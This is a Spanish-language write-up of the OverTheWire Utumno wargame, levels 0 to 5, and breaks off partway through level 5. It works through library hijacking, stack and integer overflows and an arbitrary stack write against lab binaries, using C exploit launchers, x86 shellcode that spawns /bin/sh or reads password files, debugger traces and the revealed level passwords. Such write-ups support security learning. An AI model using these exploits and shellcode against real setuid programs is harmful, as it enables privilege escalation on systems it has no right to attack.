Utumno - [OverTheWire]

Cover Image for Utumno - [OverTheWire]
Marmeus
Marmeus

Table of Contents

    Introducción

    Utumno son una serie de retos que tienen que ver con la explotación y el reversing de binarios, más avanzados que Behemoth. Cada vez que solucionas un reto obtienes acceso a la contraseña empleada para acceder al siguiente nivel.

    Para acceder a los retos tienes que emplear SSH.

    ssh -p 2227 utumno0@utumno.labs.overthewire.org

    Los retos se encuentran en :

    utumno0@utumno:~$ ls -la  /utumno/
    total 84
    drwxr-xr-x  2 root    root    4096 Aug 26  2019 .
    drwxr-xr-x 27 root    root    4096 Aug 26  2019 ..
    ---x--x---  1 utumno1 utumno0 7188 Aug 26  2019 utumno0
    ---s--x---  1 utumno1 utumno0 7188 Aug 26  2019 utumno0_hard
    -r-sr-x---  1 utumno2 utumno1 8052 Aug 26  2019 utumno1
    -r-sr-x---  1 utumno3 utumno2 7484 Aug 26  2019 utumno2
    -r-sr-x---  1 utumno4 utumno3 7412 Aug 26  2019 utumno3
    -r-sr-x---  1 utumno5 utumno4 7672 Aug 26  2019 utumno4
    -r-sr-x---  1 utumno6 utumno5 7980 Aug 26  2019 utumno5
    -r-sr-x---  1 utumno7 utumno6 8116 Aug 26  2019 utumno6
    -r-sr-x---  1 utumno8 utumno7 8504 Aug 26  2019 utumno7

    Y las credenciales en:

    utumno0@utumno:~$ ls -la /etc/utumno_pass/
    total 44
    drwxr-xr-x  2 root    root    4096 Aug 26  2019 .
    drwxr-xr-x 88 root    root    4096 Aug 26  2019 ..
    -r--------  1 utumno0 utumno0    8 Aug 26  2019 utumno0
    -r--------  1 utumno1 utumno1   11 Aug 26  2019 utumno1
    -r--------  1 utumno2 utumno2   11 Aug 26  2019 utumno2
    -r--------  1 utumno3 utumno3   11 Aug 26  2019 utumno3
    -r--------  1 utumno4 utumno4   11 Aug 26  2019 utumno4
    -r--------  1 utumno5 utumno5   11 Aug 26  2019 utumno5
    -r--------  1 utumno6 utumno6   11 Aug 26  2019 utumno6
    -r--------  1 utumno7 utumno7   11 Aug 26  2019 utumno7
    -r--------  1 utumno8 utumno8   11 Aug 26  2019 utumno8

    Nota: Si es tu primera vez en el mundo de la explotación binaria, te recomiendo que empieces leyendo mis posts de Protostar, Narnia y Behemoth antes que comenzar por este nivel, pues se darán por hecho algunos conocimientos.

    Level 0

    El primer nivel es un ejecutable el cual quiere que leamos su contenido.

    utumno0@utumno:/utumno$ ./utumno0
    Read me! :P

    Sin embargo, no podemos leer nada porque no tenemos permisos de lectura, esto significa que no podemos usar programas como ltrace, gdb ni scp (para bajarlo a nuestra máquina y analizarlo allí).

    utumno0@utumno:/utumno$ ls -la utumno0
    ---x--x--- 1 utumno1 utumno0 7188 Aug 26  2019 utumno0

    Después de buscar bastante por Internet encontré este post, donde se explica como modificar la ejecución de un programa a través de la suplantación de librerías, empleadas por el binario.

    Para comprobar si el secuestro de librerías funciona, se ha creado el siguiente programa en C, que contiene la función puts la cual imprime "HOLA", en vez de lo introducido como parámetro.

    #include <stdio.h>    
        
    int puts ( const char * str ) {    
        printf("HOLA");    
        return 0;    
    }

    Es necesario compilarlo como una librería compartida de 32 bits. Para ello, se emplea el siguiente comando

    utumno0@utumno:/tmp/Marmeus$ gcc -shared -fpic -m32 lib.c -o lib.so

    Ahora, solo queda ejecutarlo, creando la variable de entorno LD_PRELOAD, que sobrescribe la librería empleada para la función puts, obteniendo el siguiente resultado.

    utumno0@utumno:/tmp/Marmeus$ LD_PRELOAD=./hook.so /utumno/utumno0
    HOLAutumno0@utumno:/tmp/Marmeus$
    

    Ahora que ya sabemos que es vulnerable a este tipo de ataques, podemos emplear printf dentro de nuestra función puts. Así nos muestrará todas las cadenas de caracteres que se encuentran dentro de nuestro programa.

    #include <stdio.h>    
        
    int puts ( const char * str ) {    
        printf("HOLA");    
        printf("%s-%s-%s-%s-%s-%s-%s-%s-%s-%s-");    
        return 0;    
    }

    Finalmente, solo queda compilarlo y ejecutarlo, obteniendo la contraseña para el siguiente nivel.

    utumno0@utumno:/tmp/Marmeus$ gcc -shared -fpic -m32 hook.c -o hook.so && LD_PRELOAD=./hook.so /utumno/utumno0
    HOLAZ
         $$D$---,-(null)---Read me! :P-password: aathaeyiew-(null)-utumno0@utumno:/tmp/Marmeus$

    Level 1

    Como siempre mediante ltrace jugamos un poquito con el programa para ver que hace.

    utumno1@utumno:~$ /utumno/utumno1 
    utumno1@utumno:~$ ltrace /utumno/utumno1 
    __libc_start_main(0x80484a5, 1, 0xffffd784, 0x8048530 <unfinished ...>
    exit(1 <no return ...>
    +++ exited (status 1) +++
    utumno1@utumno:~$ ltrace /utumno/utumno1 hola 
    __libc_start_main(0x80484a5, 2, 0xffffd784, 0x8048530 <unfinished ...>
    opendir("hola")                                                                                                                  = 0
    exit(1 <no return ...>
    +++ exited (status 1) +++
    utumno1@utumno:/tmp/Marmeus$ ltrace /utumno/utumno1 /tmp/Marmeus
    __libc_start_main(0x80484a5, 2, 0xffffd734, 0x8048530 <unfinished ...>
    opendir("/tmp/Marmeus")                                                                                             = 0x804a008
    readdir(0x804a008)                                                                                                  = 0x804a024
    strncmp("sh_", "hook.so", 3)                                                                                        = 11
    readdir(0x804a008)                                                                                                  = 0x804a048
    strncmp("sh_", ".", 3)                                                                                              = 69
    readdir(0x804a008)                                                                                                  = 0x804a078
    strncmp("sh_", ".gdbinit", 3)                                                                                       = 69
    readdir(0x804a008)                                                                                                  = 0x804a0a0
    strncmp("sh_", "..", 3)                                                                                             = 69
    readdir(0x804a008)                                                                                                  = 0x804a0b0
    strncmp("sh_", "hook.c", 3)                                                                                         = 11
    readdir(0x804a008)                                                                                                  = 0
    +++ exited (status 0) +++
    
    

    El programa necesita que le pasemos como argumento la ruta de una carpeta, después examina en la carpeta archivos que contenga los tres primeros caracteres sh_. Si creamos una carpeta sh_AAAA, podemos observar como se produce una Segmentation Fault.

    utumno1@utumno:/tmp/Marmeus$ makdir sh_AAAA
    utumno1@utumno:/tmp/Marmeus$ ltrace /utumno/utumno1 /tmp/Marmeus
    [...]
    strncmp("sh_", "sh_AAAA", 3)                                                                                        = 0
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++
    

    Usando Ghidra, podemos comprobar que nuestras suposiciones son ciertas.

    int main(int argc,char **argv)
    
    {
      DIR *__dirp;
      int iVar1;
      dirent *pdVar2;
      dirent *ds;
      DIR *dp;
      
      if (argv[1] == (char *)0x0) {
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      __dirp = opendir(argv[1]);
      if (__dirp == (DIR *)0x0) {
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      while( true ) {
        pdVar2 = readdir(__dirp);
        if (pdVar2 == (dirent *)0x0) break;
        iVar1 = strncmp("sh_",pdVar2->d_name,3);
        if (iVar1 == 0) {
          run(pdVar2->d_name + 3);
        }
      }
      return 0;
    }

    Si existe un archivo que comience por sh_, se obtienen los caracteres posteriores y se llama a la función run, que ejecuta los caracteres como si fuese una función en ensamblador.

    void run(void *p)
    {
      int *r;
      return;
    }

    Lamentablmente, el típico shell script que nos descargamos de shell-storm.org no funciona correctamente porque contiene caracteres especiales que son interpretados por bash y que no nos permitiría crear un archivo con esos caracteres.

    Para poder crear un código ensamblador que ejecutase el fichero sh, se he empleado el siguiente post. El resultado es el siguiente:

    xor eax, eax
    push eax
    push 0x6b636168 ; hack
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    add eax, 0xb
    int 0x80
    

    Básicamente, lo que hace este código, es realizar un system interrupt para la función sys_execve la cual recibe como parámetro el fichero que se desea ejecutar. En nuestro caso, lo he llamado hack, que no es más que un link simbolico a /bin/sh, pues no podemos crear un archivo que contenga el caracter /.

    utumno1@utumno:/tmp/Marmeus$ ln -s /bin/sh hack

    Como comentario, la penúltima instrucción no puede ser mov eax,0xb debido a que tras su compilación genera null bytes evitando que podamos crear un archivo en la terminal.

    10: b8 0b 00 00 00          mov    eax,0xb

    Empleando defuse.ca y el código ensamblador anterior, obtenemos la siguiente cadena en hexadecimal.

    \x31\xC0\x50\x68\x68\x61\x63\x6B\x89\xE3\x50\x89\xE2\x53\x89\xE1\x83\xC0\x0B\xCD\x80

    Para crear el archivo empleamos el siguiente comando.

    utumno1@utumno:/tmp/Marmeus$ touch sh_$(python -c "print '\x31\xC0\x50\x68\x68\x61\x63\x6B\x89\xE3\x50\x89\xE2\x53\x89\xE1\x83\xC0\x0B\xCD\x80'")

    Finalmente, solo necesitamos ejecutar el programa pasando la carpeta donde se encuentra el simbolic link y el el archivo sh_.

    utumno1@utumno:/tmp/Marmeus$ /utumno/utumno1 /tmp/Marmeus
    $ id
    uid=16001(utumno1) gid=16001(utumno1) euid=16002(utumno2) groups=16001(utumno1)
    $ whoami
    utumno2
    $ cat /etc/utumno_pass/utumno2 
    ceewaceiph
    

    Level 2

    Tras varias experimentos con el programa, lo único que he conseguido obtener es la cadena de caracteres "Aw.."

    utumno2@utumno:/tmp/Marmeus$ /utumno/utumno2                                                            
    Aw..
    [...]
    utumno2@utumno:/tmp/Marmeus$ ltrace /utumno/utumno2 123123
    __libc_start_main(0x804844b, 2, 0xffffd734, 0x8048490 <unfinished ...>
    puts("Aw.."Aw..
    )                                                    = 5
    exit(1 <no return ...>
    +++ exited (status 1) +++

    Por lo tanto, he procedido a analizarlo con con ghrida, obteniendo el siguiente código.

    int main(int argc,char **argv)
    
    {
      char buffer [12];
      
      if (argc != 0) {
        puts("Aw..");
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      strcpy(buffer,argv[10]);
      return 0;
    } 

    Comprueba si el número de argumentos es diferente a 0 y si no lo es almacena el valor del décimo argumento en la variable buffer.

    Parece ser que para poder realizar nuestro Buffer Overflow, necesitamos que el número de argumentos pasados al programa sea 0. Y uno podría pensar que eso es imposible, ya que el número de argumentos siempre es 1, que coincide con el nombre del programa.

    Pues bien, eso no es del todo cierto, porque si creamos un programa que ejecute a /utumno/utumno2, podemos no pasarle parámetros y utumno2 lo trataré como si no le hubiésemos introducido ningún argumento.

    #include <unistd.h>
    
    int main(int argc, char **argv) {
    
        char *arg[] = {NULL};
        char *env[] = {NULL};
        execve("/utumno/utumno2", arg, env);
    }

    Al ejecutarlo vemos que se produce una violación del segmento ya que esta leyendo el valor del décimo argumento el cual no se encuentra inicializado.

    utumno2@utumno:/tmp/Marmeus$ gcc -m32 E2.c -o E2; ltrace ./E2
    __libc_start_main(0x565555a0, 1, 0xffffd764, 0x56555600 <unfinished ...>
    execve(0x56555680, 0xffffd6ac, 0xffffd6ac, 0x565555b7 <no return ...>
    --- Called exec() ---
    __libc_start_main(0x804844b, 0, 0xffffdf14, 0x8048490 <unfinished ...>
    strcpy(0xffffde6c, "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...>
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++
    

    Entonces, ¿Cómo podemos sobrescribir la variable argv[10] sino podemos pasar argumentos al programa?. Pues bien, la solución esta en la variables del entorno y la estructura del stack. Debido a que no existen los argumentos en el stack, las direcciones de entorno ocuparan su lugar, por lo que si generamos 10 variables de entorno podremos sobrescribir la variable argv[10].

    UtumnoLevel2Stack

    Para comprobar esta teoría se ha creado el siguiente programa.

    #include <unistd.h>
    
    int main(int argc, char **argv) {
    
        char *arg[] = {NULL};
        char *env[] = {
        "AAAA",
        "BBBB",
        "CCCC",
        "DDDD",
        "EEEE",
        "FFFF",
        "GGGG",
        "HHHH",
        "IIII",
        "JJJJ",
        "KKKK"
        };
        execve("/utumno/utumno2", arg, env);
    }

    Al ejecutarlo y analizarlo con ltrace, vemos que se lee la variable 10 que tiene el valor "JJJJ".

    utumno2@utumno:/tmp/Marmeus$ gcc E2.c -o E2; ltrace ./E2                                                
    execve(0x55555555481b, 0x7fffffffe578, 0x7fffffffe520, 0 <no return ...>
    --- Called exec() ---
    __libc_start_main(0x804844b, 0, 0xffffdeb4, 0x8048490 <unfinished ...>
    strcpy(0xffffde0c, "JJJJ")                                      = 0xffffde0c
    +++ exited (status 0) +++

    Ahora tenemos que comprobar cuantos caracteres son necesarios para que se produzca el Buffer Ovewflow.

    #include <unistd.h>
    
    int main(int argc, char **argv) {
     
         char *arg[] = {NULL};
         char *env[] = {
         "",
         "",
         "",
         "",
         "",
         "",
         "",
         "",
         "",
          "AAAABBBBCCCCDDDDEEEEFFFF",
          NULL
          };
          execve("/utumno/utumno2", arg, env);
     }

    La dirección de retorno se ha sobrescrito con "E"s, por lo que solo necesitamos 20 caracteres para sobrescribir la dirección de retorno.

    utumno2@utumno:/tmp/Marmeus$ strace ./E2                                                                       
    [...]
    --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x45454545} ---
    +++ killed by SIGSEGV (core dumped) +++
    Segmentation fault
    

    El shellcode utilizado es el mismo que se empleo en behemoth level 1, solo que añadiendo la dirección del jmp esp a mano (Los 4 primeros bytes del shellcode).

    #include <unistd.h>
    
    int main(int argc, char **argv) {
    
        char *arg[] = {NULL};
        char *env[] = {
        "",
        "",
        "",
        "",
        "",
        "",
        "",
        "",
        "",
      "AAAABBBBCCCCDDDD\x7f\x91\xf7\xf7\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80",
        NULL
        };
        execve("/utumno/utumno2", arg, env);
    }

    Finalmente, solo queda ejecutarlo, obteniendo la contraseña para el siguiente nivel.

    utumno2@utumno:/tmp/Marmeus$ gcc -m32 E2.c -o E2;  ./E2                                                 
    $ id
    uid=16002(utumno2) gid=16002(utumno2) euid=16003(utumno3) groups=16002(utumno2)
    $ cat /etc/utumno_pass/utumno3
    zuudafiine
    

    Level 3

    Ejecutando el programa a simple vista parece que solamente pide valores sin ningún tipo de reacción.

    utumno3@utumno:/tmp/Marmeus$ /utumno/utumno3 
    a
    AAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    utumno3@utumno:/tmp/Marmeus$ ltrace /utumno/utumno3 
    __libc_start_main(0x80483eb, 1, 0xffffd774, 0x8048470 <unfinished ...>
    getchar(0x200000, 1, 0, 0xf7e40890 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)= 65
    getchar(0x200041, 1, 0, 0xf7e40890)= 65
    getchar(0x200041, 1, 0, 0xf7e40890)= 65
    getchar(0x204241, 1, 0, 0xf7e40890)= 65
    getchar(0x204241, 1, 0, 0xf7e40890)= 65
    getchar(0x474241, 1, 0, 0xf7e40890)= 65
    getchar(0x474241, 1, 0, 0xf7e40890)= 65
    getchar(0x48474241, 1, 0, 0xf7e40890)= 65
    getchar(0x48474241, 1, 0, 0xf7e40890)= 65
    getchar(0x48474241, 77, 0, 0xf7e40890)= 65
    getchar(0x48474241, 77, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x4e4d, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x4e4d, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x534e4d, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x534e4d, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 89, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 89, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x5a59, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x5a59, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x5f5a59, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x5f5a59, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40890)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40865)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40865)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e46665)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e46665)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf76b6665)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf76b6665)= 65
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0x6c6b6665)= 10
    getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0x6c6b6665
    +++ exited (status 0) +++

    Decompilandolo con ghidra, podemos ver que el programa solicita 2 chars: el primero determina la posición del vector b donde se escribirá el valor del segundo getchar.

    int main(int argc,char **argv)
    
    {
      char cVar1;
      int char1;
      char b [24];
      char res [24];
      int c;
      int i;
      
      i = 0;
      while( true ) {
        char1 = getchar();
        if ((char1 == -1) || (23 < i)) break;
        b[i] = (char)char1;
        b[i] = b[i] ^ (char)i * '\x03';
        cVar1 = b[i];
        char1 = getchar();
        res[cVar1] = (char)char1;
        i = i + 1;
      }
      return 0;
    }

    Como tenemos control sobre la posición de escritura del vector b, podemos sobrescribir cualquier dirección de memoria dentro del stack.

    Después de mucho prueba y error, encontramos que a partir de la posición 40 (0x28en hexadecimal) podemos introducir una A en la dirección de retorno del programa.

    (gdb) b *0x804846b
    (gdb) run <<< $(python -c "print '\x28\x41'")
    Starting program: /utumno/utumno3 <<< $(python -c "print '\x28\x41'")
    
    Breakpoint 2, 0x0804846b in main (argc=1, argv=0xffffd724) at utumno3.c:34
    (gdb) x/xw $esp
    0xffffd68c:     0xf7e2a241

    Ahora tenemos que encontrar un valor que realizando la operación xor con(char)i * '\x03' , nos de los valores 0x29,0x29,0x2a,0xb . Como se trata de una operación XOR, que se basa en los siguiente principios:

    Lógica de operaciones XOR

    El que nos interesa es el último. Gracias a el podemos generar unos valores que al producirse la operación XOR nos devuelva las direcciones de memoria en las que queremos escribir. Para un mejor entendimiento, se pone el siguiente ejemplo.

    >>> hex(0x2a^(2*0x03))
    '0x2c'
    >>> hex(0x2c^(2*0x03))
    '0x2a'

    Realizando el mismo proceso con las demás direcciones obtenemos los siguiente valores:

    >>> hex((0x03*0)^0x28)
    '0x28'
    >>> hex((0x3*1)^0x29)
    '0x2a'
    >>> hex((0x03*2)^0x2a)
    '0x2c'
    >>> hex((0x03*3)^0x2b)
    '0x22'

    Una vez los tenemos todos y ejecutado el programa, podemos observar que hemos sobrescrito correctamente la dirección de retorno.

    (gdb) run <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /utumno/utumno3 <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")
    
    Breakpoint 2, 0x0804846b in main (argc=1, argv=0xffffd724) at utumno3.c:34
    (gdb) x/xw $esp
    0xffffd68c:     0x44434241
    

    Ahora necesitamos saber a donde saltar, como solamente podemos sobrescribir la dirección de retorno se ha decidido saltar a una variable de entorno llamada EGG, inicializada con nuestro shellcode para que nos imprima el contenido del fichero /etc/utumno_pass/utumno4, el assembly code es el siguiente:

    Nota: Se hace de esta forma porque no se ha conseguido ejecutar una shell interactiva.

    xor eax, eax
    xor ecx, ecx
    xor edx, edx
    push eax
    mov al, 0x5
    push edx
    push 0x346f6e6d
    push 0x7574752f
    push 0x73736170
    push 0x5f6f6e6d
    push 0x7574752f
    push 0x6374652f
    push 0x2f2f2f2f
    mov ebx, esp
    int 0x80
    xchg eax, ebx
    mov ecx, esp
    add dx, 0x10
    xor eax, eax
    mov al, 0x3
    int 0x80
    mov al, 0x4
    mov bl, 0x1
    int 0x80
    

    Tras compilarlo en defuse.ca, obtenemos el siguiente código.

    export EGG=$(python -c "print '\x90'*100+'\x31\xC0\x31\xC9\x31\xD2\x50\xB0\x05\x52\x68\x6D\x6E\x6F\x34\x68\x2F\x75\x74\x75\x68\x70\x61\x73\x73\x68\x6D\x6E\x6F\x5F\x68\x2F\x75\x74\x75\x68\x2F\x65\x74\x63\x68\x2F\x2F\x2F\x2F\x89\xE3\xCD\x80\x93\x89\xE1\x66\x83\xC2\x10\x31\xC0\xB0\x03\xCD\x80\xB0\x04\xB3\x01\xCD\x80'")

    Ahora necesitamos obtener una dirección de memoria en el stack que apunte a nuestro nop slide. Para ello se ha empleado GDB, buscando los nops.

    (gdb) start
    (gdb) x/1200xw $esp
    [...]
    0xffffddec:     0x47474500      0x9090903d      0x90909090      0x90909090
    0xffffddfc:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde0c:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde1c:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffde2c:     0x90909090      0x90909090      0x90909090      0x90909090
    

    Se ha elegido la dirección 0xffffde2c.

    Finalmente, solamente queda ejecutar el programa con los valores obtenidos anteriormente.

    utumno3@utumno:/tmp/Marmeus$ python -c "print '\x28\x2c\x2a\xde\x2c\xff\x22\xff'" | /utumno/utumno3 
    oogieleoga
    

    Level 4

    Sorprendentemente, en el nivel 4 ya tenemos un Segmentation Fault nada más ejecutar el programa y que si le pasamos un argumento, este es empleado en la función atoi y después se llama a memcpy

    utumno4@utumno:/tmp/Marmeus$ /utumno/utumno4 
    Segmentation fault
    utumno4@utumno:/tmp/Marmeus$ /utumno/utumno4 AAAAAAAAAAAa
    utumno4@utumno:/tmp/Marmeus$ ltrace /utumno/utumno4 AAAAAAAAAAAa
    __libc_start_main(0x804844b, 2, 0xffffd764, 0x80484a0 <unfinished ...>
    atoi(0xffffd89b, 0, 0, 0) = 0
    memcpy(0xfffed7c6, nil, 0) = 0xfffed7c6
    +++ exited (status 0) +++
    utumno4@utumno:/tmp/Marmeus$ ltrace /utumno/utumno4 
    __libc_start_main(0x804844b, 1, 0xffffd774, 0x80484a0 <unfinished ...>
    atoi(0, 0, 0, 0 <no return ...>
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++
    

    Empleando Ghidra, se puede apreciar que el programa usa el primer argumento de entrada como parámetro de la función atio, que transforma los números pasados como string a int y si le pasamos una letra devuelve 0.

    int main(int argc,char **argv)
    
    {
      size_t __n;
      char b [64];
      char c [65212];
      ushort j;
      int i;
      // The C library function int atoi(const char *str) converts the string argument str to an integer (type int). This function returns the converted integral number as an int value. If no valid conversion could be performed (Letters), it returns zero.
      __n = atoi(argv[1]);
      if (63 < (ushort)__n) {
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      // The C library function void *memcpy(void *dest, const void *src, size_t n) copies n characters from memory area src to memory area dest.
      memcpy(b,argv[2],__n);
      return 0;
    }

    Después, comprueba que el valor es menor a 63, casteando la variable _na ushort, cuyo valor máximo es 65535, por lo que podemos realizar un Integer Overflow. Además, gracias al Integer Overflow podemos escribir más de 63 caracteres en el stack, por lo que podremos realizar un Buffer Overflow.

    USHORT_MAX 	Maximum value for a variable of type unsigned short. 	65535 (0xffff)

    Si escribimos 65536, podemos ver con ltrace como el programa no solamente copia lo que le hemos introducido como argumento, sino que también copia todas las variables de entorno de nuestra terminal.

    utumno4@utumno:/tmp/Marmeus$ ltrace ./utumno4 65536 AAAAAA
    __libc_start_main(0x804844b, 3, 0xffad69d4, 0x80484a0 <unfinished ...>
    atoi(0xffad74d6, 0, 0, 0)                                       = 0x10000
    memcpy(0xffac6a26, "AAAAAA\0SHELL=/bin/bash\0SESSION_M"..., 65536 <no return ...>
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++
    

    Añadiendo 655520 caracteres como argumento se sobrescribe la dirección de retorno.

    utumno4@utumno:/tmp/Marmeus$ strace ./utumno4 65536 $(python -c "print 'A'*65520")
    [...]
    --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
    +++ killed by SIGSEGV +++
    Segmentation fault
    

    Tras prueba y error, encontramos que escribiendo 65286 caracteres y cuatro 'B's sobrescribimos la dirección de retorno con Bs.

    utumno4@utumno:/tmp/Marmeus$ strace ./utumno4 65536 $(python -c "print 'A'*65286+'BBBB'")
    [...]
    --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
    +++ killed by SIGSEGV +++
    Segmentation fault
    

    Por lo tanto, solo queda sustituir las Bs por el payload que empleamos en el Level 2, que realiza un jmp ESP + <SHELLCODE>, y ejecutar el programa, para obtener una shell.

    utumno4@utumno:/tmp/Marmeus$ /utumno/utumno4 65536 $(python -c "print 'A'*65286+'\x7f\x91\xf7\xf7\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'")
    $ id
    uid=16004(utumno4) gid=16004(utumno4) euid=16005(utumno5) groups=16004(utumno4)
    $ cat /etc/utumno_pass/utumno5
    woucaejiek
    

    Level 5

    Al ejecutar el nivel 5, me doy cuenta de que obtenemos la misma salida por pantalla que en el Level 2.

    utumno5@utumno:/tmp/Marmeus$ ltrace /utumno/utumno5 
    Aw..
    utumno5@utumno:/tmp/Marmeus$ ltrace /utumno/utumno5 
    __libc_start_main(0x8048516, 1, 0xffffd774, 0x8048570 <unfinished ...>
    puts("Aw.."Aw..
    )                                                                                                                                     = 5
    exit(1 <no return ...>
    +++ exited (status 1) +++

    Por lo que procedo a decompilarlo con Ghidra para ver si han añadido algo nuevo.

    int main(int argc,char **argv)
    {
      if (argc != 0) {
        puts("Aw..");
                        /* WARNING: Subroutine does not return */
        exit(1);
      }
      printf("Here we go - %s\n",argv[10]);
      hihi(argv[10]);
      return 0;
    }
    
    
    void hihi(char *p)
    {
      size_t sVar1;
      char buf [12];
      
      sVar1 = strlen(p);
      if (sVar1 < 20) {
        strcpy(buf,p);
      }
      else {
        strncpy(buf,p,20);
      }
      return;
    }

    En este nivel el argumento 10 es pasado como argumento de la función hihi, que comprueba si la longitud de la cadena es menor que 20, copiandola en caso afirmativo.

    Por lo tanto, no es posible realizar la misma técnica 2 veces, ya que solamente nuestro exploit ocupa más de 21 bytes.

    #include <unistd.h>
     
    int main(int argc, char **argv) {
     
        char *arg[] = {NULL};
        char *env[] = { 
        "", 
        "", 
        "", 
        "", 
        "", 
        "", 
        "", 
        "", 
        "", 
        "AAAABBBBCCCCDDDDEEEE",    
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80",
        NULL
        };  
        execve("/utumno/utumno5", arg, env);
    }

    Sin embargo, nada nos impide sobrescribir la dirección de retorno por la dirección de una variable de entorno, que contiene la dirección de otra variable de entorno. Así, al ejecutarse el programa, saltará a la primera variable de entorno, leerá su contendio y saltará a la segunda variable de entorno donde se encuentra nuestro shellcode.

    Para saber donde se encuentra nuestro shellcode se ha empleado GDB, eligiendo la dirección 0xffffdfa8.

    utumno5@utumno:/tmp/Marmeus$ gcc -m32 E5.c -o E5 && gdb ./E5 
    (gdb) r
    Starting program: /tmp/Marmeus/E5
    process 12796 is executing new program: /utumno/utumno5
    
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x45454545
    (gdb) x/3000x $esp-3000 
    0xffffd1fc:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffffd20c:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffffd21c:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffffd22c:     0x00000000      0x00000000      0x00000000      0x00000000
    [...]
    0xffffdf68:     0x45454544      0x90900045      0x90909090      0x90909090
    0xffffdf78:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffdf88:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffdf98:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffdfa8:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffdfb8:     0x90909090      0x90909090      0x90909090      0x90909090
    0xffffdfc8:     0x90909090      0x90909090      0xc9319090      0x6851e1f7
    0xffffdfd8:     0x68732f2f      0x69622f68      0xb0e3896e      0x0080cd0b
    0xffffdfe8:     0x7574752f      0x2f6f6e6d      0x6d757475      0x00356f6e
    0xffffdff8:     0x00000000      0x00000000      Cannot access memory at address 0xffffe000
    
    

    El exploit quedaría de la siguiente forma.

    #include <unistd.h>
    
    int main(int argc, char **argv) {
    
        char *arg[] = {NULL};
        char *env[] = {
        "",
        "",
        "",
        "",
        "",
        "",
        "",
        "",
        "",
      "AAAABBBBCCCCDDDD\xa8\xdf\xff\xff",
